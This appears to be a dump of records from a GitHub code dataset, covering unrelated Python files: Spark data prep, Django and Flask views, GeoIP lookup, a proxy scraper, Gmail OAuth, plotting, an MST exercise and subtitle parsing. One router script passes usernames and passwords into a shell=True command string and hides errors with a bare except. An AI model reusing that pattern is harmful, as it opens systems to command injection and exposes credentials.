elapsed_time)\n\n# as an alternative: this would be using abfs, writing straight to blob storage\n# output_uuid = uuid.uuid1().hex\n# run.log('output_uuid', output_uuid)\n# print('save parquet to ', f\"abfs://{CONTAINER}/output/{output_uuid}.parquet\")\n# taxi_df.to_parquet(f\"abfs://{CONTAINER}/output/{output_uuid}.parquet\",\n# storage_options=STORAGE_OPTIONS, engine='pyarrow')\n\nprint(\"done\")\n\n# make sure that the output_path exists on all nodes of the cluster.\n# See above for how to create it on all cluster nodes.\ntaxi_df.coalesce(1).write.option(\"header\", \"true\").mode(\"append\").parquet(output_path)\n","repo_name":"Azure/azureml-examples","sub_path":"cli/jobs/single-step/spark/nyctaxi/src/prep-nyctaxi.py","file_name":"prep-nyctaxi.py","file_ext":"py","file_size_in_byte":6945,"program_lang":"python","lang":"en","doc_type":"code","stars":1362,"dataset":"github-code","pt":"37"} +{"seq_id":"8760752535","text":"\"\"\"\n注册系统角色\n\"\"\"\nfrom flask_script import Command\n\nfrom backend.blueprint import get_system_init_robot\nfrom backend.data.system_enum import EnumRoleCode\nfrom backend.data.unit_of_work import SqlAlchemyUOW\nfrom backend.model.edit.role_em import RoleEm\nfrom backend.repository.role_repository import RoleRepository\nfrom backend.utility.enum_helper import enum_to_dict\n\n\nclass GenerateSystemRoles(Command):\n @classmethod\n def run(cls):\n data = enum_to_dict(EnumRoleCode)\n\n with SqlAlchemyUOW(\n handler=get_system_init_robot(),\n action=\"generate_system_role\",\n action_params=data,\n ) as uow:\n exist_role_em = RoleRepository.get_all_role()\n exist_role_code = {\n em.code\n for em in exist_role_em\n }\n for code, name in data.items():\n if code not in exist_role_code:\n RoleRepository.create_role(\n role_em=RoleEm(code=code, role_name=name),\n transaction=uow.transaction,\n )\n","repo_name":"Philogag/The-Project-Demo","sub_path":"backend/script/generate_system_roles.py","file_name":"generate_system_roles.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"40794776336","text":"import subprocess\r\n################################\r\n#DO NOT TOUCH\r\n################################\r\n\r\n\r\n#path to script\r\n# ./bin/run_device.expect\r\n\r\npath_to_expect = \"bin/run_device.expect\"\r\n\r\n\r\ndef call_script(router,user,pswd):\r\n selected = router_selector(router)\r\n #subprocess.call(path_to_expect,shell=True)\r\n f = open(\"stdout.txt\", \"w\")\r\n try:\r\n subprocess.check_call(\"expect run_device.expect -h %s -t 7750 -u %s -p %s -c cmd.txt \" %(router,user,pswd), stdout=f,shell=True)\r\n #subprocess.check_call(\"expect run_device.expect -h %s -t 7750 -u %s -p %s -c cmd.txt \" % (router,user,pswd), stdout=f)\r\n\r\n except:\r\n print(\"FAILED CONNECTION\")\r\n# make lowercase for dns \r\ndef router_selector(router):\r\n lower = router.lower()\r\n\r\n return lower\r\n\r\ndef search_txt(type):\r\n lines = []\r\n info = []\r\n if type == 'port':\r\n with open('stdout.txt') as read:\r\n lines = read.readlines()\r\n substring = \"Installed MDAs\"\r\n cnt = 0\r\n for line in lines:\r\n cnt += 1\r\n if substring in line:\r\n info = info.append(line)\r\n \r\n return print(info)\r\n\r\n","repo_name":"janaelzo/backup","sub_path":"script_handler.py","file_name":"script_handler.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30727873668","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom BaseProxy import BaseProxy\n\nclass WaselProxy(BaseProxy):\n\tdef get_proxy_ip(self):\n\t\tfor page in range(1,3):\n\t\t\tget_url = \"http://www2.waselproxy.com/page/\" + str(page)\n\t\t\tp = requests.get(get_url)\t\t\t\t\t\n\t\t\tsoup = BeautifulSoup(p.content, \"html.parser\")\n\t\t\tip_row = soup.find_all(\"tr\")\n\n\t\t\tfor one in ip_row[1:]:\n\t\t\t\ttry:\n\t\t\t\t\tx = one.find(\"progress\")\n\t\t\t\t\tvalue = int(x.get('value'))\n\t\t\t\t\tif value >= 50:\n\t\t\t\t\t\tx = one.find_all(\"td\")\n\t\t\t\t\t\tcountry = x[2].find_all(\"span\")[1].text\n\t\t\t\t\t\tif country in self.country_whitelist:\n\t\t\t\t\t\t\tself.ip_pool.append(\"{}:{}\".format(x[0].text,x[1].text))\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\treturn self.ip_pool","repo_name":"tanchunwei/proxycrawl","sub_path":"ProxyModel/WaselProxy.py","file_name":"WaselProxy.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19546710973","text":"from google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport pickle\nimport os.path\n\n\n# If you modify these scopes, delete the file token.pickle.\n# For more information about the SCOPES, see https://developers.google.com/gmail/api/auth/scopes\n\nSCOPES = ['https://www.googleapis.com/auth/gmail.modify']\n\ntoken_pickle_path = '../secrets/token.pickle'\ncredentials_path = '../secrets/credentials.json'\n\n\ndef get_credentials():\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n\n if os.path.exists('token.pickle'):\n with open(token_pickle_path, 'rb') as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(credentials_path, SCOPES)\n creds = flow.run_local_server()\n\n # Save the credentials for the next run\n with open(token_pickle_path, 'wb') as token:\n pickle.dump(creds, token)\n return creds\n","repo_name":"QuentinDuval/GmailClient","sub_path":"gclient/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36851707089","text":"from django.shortcuts import render, redirect, HttpResponse\nfrom logreg.models import User\nfrom questionCreator.models import QuestionType, Question, QuestionGroup, QuestionChoice\nfrom .models import Answer, CompleteGroup\n\n# Create your views here.\ndef testerHome(request):\n context = {\n 'title': 'Create a new Question Group',\n 'first_name': User.objects.get(id=request.session['login_id']).first_name,\n 'question_groups': QuestionGroup.objects.filter(complete_groups__in=CompleteGroup.objects.filter(user=User.objects.get(id=request.session['login_id']), is_completed=0)),\n 'completed_groups': QuestionGroup.objects.filter(complete_groups__in=CompleteGroup.objects.filter(user=User.objects.get(id=request.session['login_id']), is_completed=1)),\n } \n return render(request, 'question_list.html', context)\n\ndef takeTest(request, tid):\n context = {\n 'title': 'Create a new Question Group',\n 'first_name': User.objects.get(id=request.session['login_id']).first_name,\n 'questions': Question.objects.filter(question_group=QuestionGroup.objects.get(id=tid)).all(),\n } \n return render(request, 'question_take.html', context)\n\ndef reviewTest(request, tid):\n context = {\n 'title': 'Create a new Question Group',\n 'first_name': User.objects.get(id=request.session['login_id']).first_name,\n 'questions': Question.objects.filter(question_group=QuestionGroup.objects.get(id=tid)).all(),\n 'answers': Answer.objects.filter(question_group=QuestionGroup.objects.get(id=tid), user=User.objects.get(id=request.session['login_id'])),\n } \n return render(request, 'review_group.html', context)\n\ndef submitTest(request, tid):\n user_data = User.objects.get(id=request.session['login_id'])\n q_group = QuestionGroup.objects.get(id=tid)\n for key, value in request.POST.items():\n if key[0:6] == 'answer':\n question_data = Question.objects.get(id=key[7:len(key)])\n Answer.objects.create(user=user_data, question_group=q_group, question=question_data, answer=value)\n c_group = CompleteGroup.objects.get(user=user_data, question_group=q_group)\n c_group.is_completed=1\n c_group.save()\n return redirect('grade/')\n\ndef reviewQG(request):\n if request.method == 'POST':\n context = {\n 'questions': Question.objects.filter(question_group=QuestionGroup.objects.get(id=request.POST['qg-num'])).all(),\n 'answers': Answer.objects.filter(question_group=QuestionGroup.objects.get(id=request.POST['qg-num']), user=User.objects.get(id=request.session['login_id'])),\n } \n return render(request, 'review_qg.html', context)\n return redirect('/')\n\ndef grade(request, tid):\n user_data = User.objects.get(id=request.session['login_id'])\n q_group = QuestionGroup.objects.get(id=tid)\n answers = Answer.objects.filter(user=user_data, question_group=q_group)\n for answer in answers:\n if answer.answer == answer.question.answer:\n answer.is_correct = '1'\n answer.save()\n return redirect('/')","repo_name":"October2020PandA/jRusso-assign","sub_path":"projects/testmaker/questionTaker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6296483975","text":"import socket\n\nimport geoip2.database\n\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import validate_ipv46_address\nfrom django.utils._os import to_path\n\nfrom .resources import City, Country\n\n# Creating the settings dictionary with any settings, if needed.\nGEOIP_SETTINGS = {\n \"GEOIP_PATH\": getattr(settings, \"GEOIP_PATH\", None),\n \"GEOIP_CITY\": getattr(settings, \"GEOIP_CITY\", \"GeoLite2-City.mmdb\"),\n \"GEOIP_COUNTRY\": getattr(settings, \"GEOIP_COUNTRY\", \"GeoLite2-Country.mmdb\"),\n}\n\n\nclass GeoIP2Exception(Exception):\n pass\n\n\nclass GeoIP2:\n # The flags for GeoIP memory caching.\n # Try MODE_MMAP_EXT, MODE_MMAP, MODE_FILE in that order.\n MODE_AUTO = 0\n # Use the C extension with memory map.\n MODE_MMAP_EXT = 1\n # Read from memory map. Pure Python.\n MODE_MMAP = 2\n # Read database as standard file. Pure Python.\n MODE_FILE = 4\n # Load database into memory. Pure Python.\n MODE_MEMORY = 8\n cache_options = frozenset(\n (MODE_AUTO, MODE_MMAP_EXT, MODE_MMAP, MODE_FILE, MODE_MEMORY)\n )\n\n # Paths to the city & country binary databases.\n _city_file = \"\"\n _country_file = \"\"\n\n # Initially, pointers to GeoIP file references are NULL.\n _city = None\n _country = None\n\n def __init__(self, path=None, cache=0, country=None, city=None):\n \"\"\"\n Initialize the GeoIP object. No parameters are required to use default\n settings. Keyword arguments may be passed in to customize the locations\n of the GeoIP datasets.\n\n * path: Base directory to where GeoIP data is located or the full path\n to where the city or country data files (*.mmdb) are located.\n Assumes that both the city and country data sets are located in\n this directory; overrides the GEOIP_PATH setting.\n\n * cache: The cache settings when opening up the GeoIP datasets. May be\n an integer in (0, 1, 2, 4, 8) corresponding to the MODE_AUTO,\n MODE_MMAP_EXT, MODE_MMAP, MODE_FILE, and MODE_MEMORY,\n `GeoIPOptions` C API settings, respectively. Defaults to 0,\n meaning MODE_AUTO.\n\n * country: The name of the GeoIP country data file. Defaults to\n 'GeoLite2-Country.mmdb'; overrides the GEOIP_COUNTRY setting.\n\n * city: The name of the GeoIP city data file. Defaults to\n 'GeoLite2-City.mmdb'; overrides the GEOIP_CITY setting.\n \"\"\"\n # Checking the given cache option.\n if cache not in self.cache_options:\n raise GeoIP2Exception(\"Invalid GeoIP caching option: %s\" % cache)\n\n # Getting the GeoIP data path.\n path = path or GEOIP_SETTINGS[\"GEOIP_PATH\"]\n if not path:\n raise GeoIP2Exception(\n \"GeoIP path must be provided via parameter or the GEOIP_PATH setting.\"\n )\n\n path = to_path(path)\n if path.is_dir():\n # Constructing the GeoIP database filenames using the settings\n # dictionary. If the database files for the GeoLite country\n # and/or city datasets exist, then try to open them.\n country_db = path / (country or GEOIP_SETTINGS[\"GEOIP_COUNTRY\"])\n if country_db.is_file():\n self._country = geoip2.database.Reader(str(country_db), mode=cache)\n self._country_file = country_db\n\n city_db = path / (city or GEOIP_SETTINGS[\"GEOIP_CITY\"])\n if city_db.is_file():\n self._city = geoip2.database.Reader(str(city_db), mode=cache)\n self._city_file = city_db\n if not self._reader:\n raise GeoIP2Exception(\"Could not load a database from %s.\" % path)\n elif path.is_file():\n # Otherwise, some detective work will be needed to figure out\n # whether the given database path is for the GeoIP country or city\n # databases.\n reader = geoip2.database.Reader(str(path), mode=cache)\n db_type = reader.metadata().database_type\n\n if \"City\" in db_type:\n # GeoLite City database detected.\n self._city = reader\n self._city_file = path\n elif \"Country\" in db_type:\n # GeoIP Country database detected.\n self._country = reader\n self._country_file = path\n else:\n raise GeoIP2Exception(\n \"Unable to recognize database edition: %s\" % db_type\n )\n else:\n raise GeoIP2Exception(\"GeoIP path must be a valid file or directory.\")\n\n @property\n def _reader(self):\n return self._country or self._city\n\n @property\n def _country_or_city(self):\n if self._country:\n return self._country.country\n else:\n return self._city.city\n\n def __del__(self):\n # Cleanup any GeoIP file handles lying around.\n if self._reader:\n self._reader.close()\n\n def __repr__(self):\n meta = self._reader.metadata()\n version = \"[v%s.%s]\" % (\n meta.binary_format_major_version,\n meta.binary_format_minor_version,\n )\n return (\n '<%(cls)s %(version)s _country_file=\"%(country)s\", _city_file=\"%(city)s\">'\n % {\n \"cls\": self.__class__.__name__,\n \"version\": version,\n \"country\": self._country_file,\n \"city\": self._city_file,\n }\n )\n\n def _check_query(self, query, city=False, city_or_country=False):\n \"Check the query and database availability.\"\n # Making sure a string was passed in for the query.\n if not isinstance(query, str):\n raise TypeError(\n \"GeoIP query must be a string, not type %s\" % type(query).__name__\n )\n\n # Extra checks for the existence of country and city databases.\n if city_or_country and not (self._country or self._city):\n raise GeoIP2Exception(\"Invalid GeoIP country and city data files.\")\n elif city and not self._city:\n raise GeoIP2Exception(\"Invalid GeoIP city data file: %s\" % self._city_file)\n\n # Return the query string back to the caller. GeoIP2 only takes IP addresses.\n try:\n validate_ipv46_address(query)\n except ValidationError:\n query = socket.gethostbyname(query)\n\n return query\n\n def city(self, query):\n \"\"\"\n Return a dictionary of city information for the given IP address or\n Fully Qualified Domain Name (FQDN). Some information in the dictionary\n may be undefined (None).\n \"\"\"\n enc_query = self._check_query(query, city=True)\n return City(self._city.city(enc_query))\n\n def country_code(self, query):\n \"Return the country code for the given IP Address or FQDN.\"\n return self.country(query)[\"country_code\"]\n\n def country_name(self, query):\n \"Return the country name for the given IP Address or FQDN.\"\n return self.country(query)[\"country_name\"]\n\n def country(self, query):\n \"\"\"\n Return a dictionary with the country code and name when given an\n IP address or a Fully Qualified Domain Name (FQDN). For example, both\n '24.124.1.80' and 'djangoproject.com' are valid parameters.\n \"\"\"\n # Returning the country code and name\n enc_query = self._check_query(query, city_or_country=True)\n return Country(self._country_or_city(enc_query))\n\n # #### Coordinate retrieval routines ####\n def coords(self, query, ordering=(\"longitude\", \"latitude\")):\n cdict = self.city(query)\n if cdict is None:\n return None\n else:\n return tuple(cdict[o] for o in ordering)\n\n def lon_lat(self, query):\n \"Return a tuple of the (longitude, latitude) for the given query.\"\n return self.coords(query)\n\n def lat_lon(self, query):\n \"Return a tuple of the (latitude, longitude) for the given query.\"\n return self.coords(query, (\"latitude\", \"longitude\"))\n\n def geos(self, query):\n \"Return a GEOS Point object for the given query.\"\n ll = self.lon_lat(query)\n if ll:\n # Allows importing and using GeoIP2() when GEOS is not installed.\n from django.contrib.gis.geos import Point\n\n return Point(ll, srid=4326)\n else:\n return None\n\n # #### GeoIP Database Information Routines ####\n @property\n def info(self):\n \"Return information about the GeoIP library and databases in use.\"\n meta = self._reader.metadata()\n return \"GeoIP Library:\\n\\t%s.%s\\n\" % (\n meta.binary_format_major_version,\n meta.binary_format_minor_version,\n )\n\n @classmethod\n def open(cls, full_path, cache):\n return GeoIP2(full_path, cache)\n","repo_name":"django/django","sub_path":"django/contrib/gis/geoip2/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":8942,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"36129315500","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 19 16:27:40 2020\r\n\r\n@author: USER\r\n\"\"\"\r\nimport pandas as pd \r\nimport numpy as np\r\nimport xlrd #读取excel的库\r\nresArray=[] #先声明一个空list\r\ntotal = 0\r\ndata = xlrd.open_workbook('C:\\\\Users\\\\USER\\\\data minig\\\\algo\\\\MST data.xlsx') #读取文件\r\ntable = data.sheet_by_index(0) #按索引获取工作表,0就是工作表1\r\nfor i in range(table.nrows): #table.nrows表示总行数\r\n line=table.row_values(i) #读取每行数据,保存在line里面,line是list\r\n resArray.append(line) #将line加入到resArray中,resArray是二维list\r\nresArray=np.array(resArray) #将resArray从二维list变成数组\r\n# 刪除第一行\r\nresArray = numpy.delete(resArray,0, axis = 0)\r\n# 刪除第一列\r\nresArray = numpy.delete(resArray,0, axis = 1)\r\n# str to float 型別\r\nresArray = resArray.astype(np.float)\r\n#10 units\r\narray10=[]\r\nfor i in range(table.nrows):\r\n line=table.row_values(i)\r\n array10.append(line) \r\narray10=np.array(array10) \r\narray10 = numpy.delete(array10,0, axis = 0)\r\narray10 = numpy.delete(array10,0, axis = 1)\r\narray10 = array10.astype(np.float)\r\nfor i in range (10,50):\r\n array10 = numpy.delete(array10,[10], axis = 0)\r\nfor i in range (10,50):\r\n array10 = numpy.delete(array10,[10], axis = 1) \r\nprint(array10)\r\nprint('')\r\n\r\n#20 units\r\narray20=[]\r\nfor i in range(table.nrows):\r\n line=table.row_values(i)\r\n array20.append(line) \r\narray20=np.array(array20) \r\narray20 = numpy.delete(array20,0, axis = 0)\r\narray20 = numpy.delete(array20,0, axis = 1)\r\narray20 = array20.astype(np.float)\r\nfor i in range (0,30):\r\n array20 = numpy.delete(array20,[20], axis = 0)\r\nfor i in range (0,30):\r\n array20 = numpy.delete(array20,[20], axis = 1) \r\nprint(array20)\r\n\r\n#30 units\r\narray30=[]\r\nfor i in range(table.nrows):\r\n line=table.row_values(i) \r\n array30.append(line) \r\narray30=np.array(array30) \r\narray30 = numpy.delete(array30,0, axis = 0)\r\narray30 = numpy.delete(array30,0, axis = 1)\r\narray30 = array30.astype(np.float)\r\nfor i in range (0,20):\r\n array30 = numpy.delete(array30,[30], axis = 0)\r\nfor i in range (0,20):\r\n array30 = numpy.delete(array30,[30], axis = 1) \r\nprint(array30)\r\n#40 units\r\narray40=[]\r\nfor i in range(table.nrows): \r\n line=table.row_values(i) \r\n array40.append(line) \r\narray40=np.array(array40)\r\narray40 = numpy.delete(array40,0, axis = 0)\r\narray40 = numpy.delete(array40,0, axis = 1)\r\narray40 = array40.astype(np.float)\r\nfor i in range (0,10):\r\n array40 = numpy.delete(array40,[40], axis = 0)\r\nfor i in range (0,10):\r\n array40 = numpy.delete(array40,[40], axis = 1) \r\nprint(array40)\r\n\r\ndef prim(node,array):\r\n total = 0\r\n INF = 9999999\r\n V = node\r\n G = array\r\n selected = [0]*node\r\n no_edge = 0\r\n selected[0] = True\r\n print(\"Edge : Weight\\n\")\r\n while (no_edge < V - 1):\r\n minimum = INF\r\n x = 0\r\n y = 0\r\n for i in range(V):\r\n if selected[i]:\r\n for j in range(V):\r\n if ((not selected[j] and G[i][j])): \r\n if minimum > G[i][j]:\r\n minimum = G[i][j]\r\n x = i\r\n y = j\r\n total = total+G[x][y]\r\n print(str(x+1) + \"-\" + str(y+1) + \":\" + str(G[x][y]))\r\n selected[y] = True\r\n no_edge += 1\r\n print(\"total weight:\"+str(total))\r\nprint(\"-----<<<前10點版本>>>-----\")\r\nprim(10,array10)\r\nprint(\"-------------------------------\")\r\nprint(\"-----<<<前20點版本>>>-----\")\r\nprim(20,array20)\r\nprint(\"-------------------------------\")\r\nprint(\"-----<<<前30點版本>>>-----\")\r\nprim(30,array30)\r\nprint(\"-------------------------------\")\r\nprint(\"-----<<<前40點版本>>>-----\")\r\nprim(40,array40)\r\nprint(\"-------------------------------\")\r\nprint(\"-----<<<完整50點版本>>>-----\")\r\nprim(50,resArray)\r\nprint(\"-------------------------------\")\r\n\r\n","repo_name":"norla111236/Advance-algorithm","sub_path":"MST_prim.py","file_name":"MST_prim.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20852800182","text":"\"\"\"\nTo process arguments from the command line.\n\"\"\"\nimport argparse\n\n\ndef get_args(argv, description: str, epilog: str, default_out: str) -> argparse.Namespace:\n \"\"\"\n Returns arguments from the command line.\n \"\"\"\n parser = argparse.ArgumentParser(\n prog=\"parsernaam\",\n description=description,\n epilog=epilog,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n )\n parser.add_argument('input', default=None, help='Input file')\n parser.add_argument('-o', '--output', default=default_out, help='Output file')\n parser.add_argument('-n', '--names-col', default=\"name\" ,required=True, help='Names column')\n args = parser.parse_args(argv)\n return args\n","repo_name":"appeler/parsernaam","sub_path":"parsernaam/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"16352804188","text":"from luigi import DictParameter, FloatParameter\nfrom matplotlib.axes import Axes\nfrom numpy import argmax\n\nfrom seaborn import set_hls_values\nfrom sharp.data.files.figure import FigureTarget\nfrom sharp.data.hardcoded.style import fraction, paperfig\nfrom sharp.data.types.aliases import subplots\nfrom sharp.data.types.evaluation.sweep import ThresholdSweep\nfrom sharp.tasks.plot.results.base import MultiEnvelopeFigureMaker\nfrom sharp.tasks.plot.util.legend import add_colored_legend\n\nDISCRETE = dict(lw=0.8, marker=\".\", ms=6)\nCONTINUOUS = dict(lw=1.5)\n\n\nclass PlotLatencyAndPR(MultiEnvelopeFigureMaker):\n \"\"\"\n Draws curves of precision-recall points, one point for each threshold, and\n one curve for each algorithm.\n \"\"\"\n\n zoom_from: float = FloatParameter(0)\n # Precision and recall will be plotted in the ranges [zoom_from, 1].\n margin: float = FloatParameter(0.04)\n # Margin around the axes, as a percentage of (1 - zoom_from)\n line_kwargs: dict = DictParameter(CONTINUOUS)\n\n def output(self):\n filename = f\"PR-and-latency--{self.zoom_from}\"\n return FigureTarget(self.output_dir, filename)\n\n def work(self):\n fig, axes = subplots(\n nrows=2,\n ncols=2,\n # figsize=1.1 * array([9.8, 9]),\n figsize=paperfig(1, 0.82),\n gridspec_kw=dict(width_ratios=[1.63, 1], height_ratios=[1, 1.63]),\n )\n ax_PR: Axes = axes[1, 0]\n ax_delay_P: Axes = axes[1, 1]\n ax_delay_R: Axes = axes[0, 0]\n axes[0, 1].remove()\n self.setup_axes(ax_PR, ax_delay_P, ax_delay_R)\n self.plot_PR_curves(ax_PR)\n self.shade_under_PR_curves(ax_PR)\n self.plot_delays(ax_delay_P, ax_delay_R)\n self.mark_cutoffs(ax_PR, ax_delay_P, ax_delay_R)\n add_colored_legend(\n fig,\n self.titles,\n self.colors,\n loc=\"upper right\",\n bbox_to_anchor=(0.965, 0.965),\n )\n fig.tight_layout()\n self.output().write(fig)\n\n def plot_PR_curves(self, ax: Axes):\n for sweep, color in zip(self.threshold_sweeps, self.colors):\n ax.plot(sweep.recall, sweep.precision, c=color, **self.line_kwargs)\n\n def shade_under_PR_curves(self, ax: Axes):\n \"\"\"\n Fill area under each PR-curve with a light shade. Plot shades with\n highest AUC at the bottom (i.e. first, most hidden).\n \"\"\"\n tups = zip(self.threshold_sweeps, self.colors)\n tups = sorted(tups, key=lambda tup: rank_higher_AUC_lower(tup[0]))\n for sweep, color in tups:\n fc = set_hls_values(color, l=0.95)\n ax.fill_between(sweep.recall, sweep.precision, color=fc)\n\n def plot_delays(self, ax_delay_P, ax_delay_R):\n for sweep, color in zip(self.threshold_sweeps, self.colors):\n center = sweep.rel_delays_median\n low = sweep.rel_delays_Q1\n high = sweep.rel_delays_Q3\n d = PR_divider(sweep)\n line_kwargs = dict(c=color, **self.line_kwargs)\n ax_delay_P.plot(center[d:], sweep.precision[d:], **line_kwargs)\n ax_delay_P.fill_betweenx(\n sweep.precision[d:], low[d:], high[d:], color=color, alpha=0.3\n )\n dp = d + 1\n ax_delay_R.plot(sweep.recall[:dp], center[:dp], **line_kwargs)\n ax_delay_R.fill_between(\n sweep.recall[:dp], low[:dp], high[:dp], color=color, alpha=0.3\n )\n\n def mark_cutoffs(self, ax_PR: Axes, ax_delay_P: Axes, ax_delay_R: Axes):\n for sweep, color in zip(self.threshold_sweeps, self.colors):\n kwargs = dict(\n marker=\".\", ms=8, color=color, markeredgecolor=\"black\"\n )\n d = PR_divider(sweep)\n ax_PR.plot(sweep.recall[d], sweep.precision[d], **kwargs)\n ax_delay_P.plot(\n sweep.rel_delays_median[d], sweep.precision[d], **kwargs\n )\n ax_delay_R.plot(\n sweep.recall[d], sweep.rel_delays_median[d], **kwargs\n )\n\n def setup_axes(self, ax_PR: Axes, ax_delay_P: Axes, ax_delay_R: Axes):\n lims = (self.zoom_from - self.lim_offset, 1 + self.lim_offset)\n ax_PR.set_xlim(lims)\n ax_PR.set_ylim(lims)\n # ax_PR.set_aspect(\"equal\")\n # ^This unsynchs the axes widths.\n # Manually make sure aspect ratio is approximately equal using figsize.\n ax_PR.xaxis.set_major_formatter(fraction)\n ax_PR.yaxis.set_major_formatter(fraction)\n ax_PR.xaxis.tick_top()\n ax_PR.yaxis.tick_right()\n ax_delay_P.yaxis.set_major_formatter(fraction)\n ax_delay_P.xaxis.set_major_formatter(fraction)\n ax_delay_P.xaxis.set_label_position(\"top\")\n ax_delay_P.xaxis.tick_top()\n ax_delay_P.set_ylim(lims)\n ax_delay_P.set_ylabel(\"Precision\")\n ax_delay_P.set_xlabel(\"Detection latency\")\n ax_delay_R.xaxis.set_major_formatter(fraction)\n ax_delay_R.yaxis.set_major_formatter(fraction)\n ax_delay_R.yaxis.set_label_position(\"right\")\n ax_delay_R.yaxis.tick_right()\n ax_delay_R.set_xlim(lims)\n ax_delay_R.set_xlabel(\"Recall\")\n ax_delay_R.set_ylabel(\"Detection latency\")\n\n @property\n def lim_offset(self):\n return self.margin * (1 - self.zoom_from)\n\n\ndef rank_higher_AUC_lower(sweep: ThresholdSweep) -> float:\n return -sweep.AUC\n\n\ndef PR_divider(sweep: ThresholdSweep) -> int:\n \"\"\" Index of the first threshold where recall is higher than precision. \"\"\"\n return argmax(sweep.recall > sweep.precision)\n","repo_name":"tfiers/sharp","sub_path":"sharp/tasks/plot/results/PR_and_latency.py","file_name":"PR_and_latency.py","file_ext":"py","file_size_in_byte":5589,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"1803796458","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 25 15:53:13 2017\n\n@author: stevejsmith567@gmail.com\n\nThis is a collection of functions to assist in parsing .srt files\n\n# .srt files contain timestamps and the speech displayed for that timestamp\n\n# Requires re and nltk.word_tokenize\n\n\n\nsrtParse: Parse a .srt file with several parsing arguments\n\ndirParse: Parse a directory of .srt files with several parsing arguments and\n an argument to flatten the resulting list of lists\n \nfilmLength: Extracts the timestamp from the last subtitle\n\ntimeAverages: Provides average words spoken per minute and the number of unique\n words per minute\n\"\"\"\n\n\nimport re\n\n\n#=============================================\n\n## Single file parsing\n\n\ndef srtParse(srtfile, word_lines=False, times=False, tokens=False, tokens2=False):\n with open(srtfile, encoding='utf-8', errors='ignore') as f:\n \n \"\"\"\n Parses an .srt file\n \n args: a .srt file\n \n kwargs: 0 or 1 of must be set\n if 0 kwargs set:\n returns a list of all the lines from the file, including timestamps\n \n word_lines = True # parses a list of lines of dialogue\n times = True # parses a list of timestamps in the format HH:MM:SS\n tokens = True # extracts the dialogue as tokens using nltk.word_tokenizer\n # this splits 'can't' to 'can', \"'\", 't'\n tokens2 = True # extracts the dialogue as tokens after removing all\n punctuation\n # this turns 'can't' to 'cant' and 'ended.' to 'ended'\n \"\"\"\n \n line_list = [line.strip() for line in f]\n \n if word_lines==True:\n \n return extWordsFromSrt(line_list)\n \n \n if times == True:\n return extTimesFromSrt(line_list)\n \n if tokens == True:\n words = extWordsFromSrt(line_list)\n return extTokensFromList(words)\n \n if tokens2 == True:\n \n return srtTokens(srtfile)\n \n else: \n return line_list\n \n\n\ndef extTimesFromSrt(line_list):\n \"\"\"\n Takes a list containing all the lines in an .srt file\n and extracts the timestamps using REGEX\n \"\"\"\n times = [l for l in line_list if re.search(r'^[0-9][0-9]:', l)]\n return times\n \n\n \ndef extWordsFromSrt(line_list):\n \"\"\"\n Takes a list containing all the lines in an .srt file\n and extracts the lines of dialogue as items in a list\n \"\"\"\n words = [l for l in line_list if not re.search(r'^[0-9][0-9]:', l) and not re.search(r'^[0-9]+$', l) and not l == '']\n \n return words\n \ndef extTokensFromList(word_list):\n \"\"\"\n Takes a list of the lines of dialogue, converts to a string\n returns tokens created from string using word_tokenize\n \"\"\"\n word_string = ' '.join(word_list)\n from nltk import word_tokenize\n tokens = word_tokenize(word_string)\n return tokens\n \n\n\ndef srtTokens(srtFile):\n \"\"\"\n Takes a .srt file and parses tokens directly after stripping\n punctuation.\n Also called by srtParse(srtFile, tokens=True)\n \"\"\"\n \n string_lines = srtParse(srtFile, word_lines=True)\n string = ' '.join(string_lines)\n rem_punc = re.sub(r'[^\\w\\s]','',string)\n return rem_punc.split()\n \n#--------------------------------------------------\n\"\"\"\nf = r'D:\\Data\\Subs\\24\\24.1x02.1am-2am.DVDRip.XViD-FoV.EN.srt'\nsrtTokens(f)\n# equivalent to\nsrtParse(f, tokens2=True)\n#--------------------------------------------------\nf = r'D:\\Data\\Subs\\24\\24.1x02.1am-2am.DVDRip.XViD-FoV.EN.srt'\nsrtParse(f, word_lines=True)\nsrtParse(f, times=True)\nsrtParse(f, tokens=True)\n\"\"\"\n#---------------------------------------------------\n\n\n\n\n#============================================\n\n## Parsing operations upon a directory\n\ndef getFilenames(rootDir):\n \"\"\" Returns a list of .srt files in a directory \"\"\"\n import os\n filelist = os.listdir(rootDir)\n return [rootDir + \"\\\\\" + i for i in filelist if i.endswith('srt')]\n \n#----------------------------------------\n\"\"\"\nfullpaths = 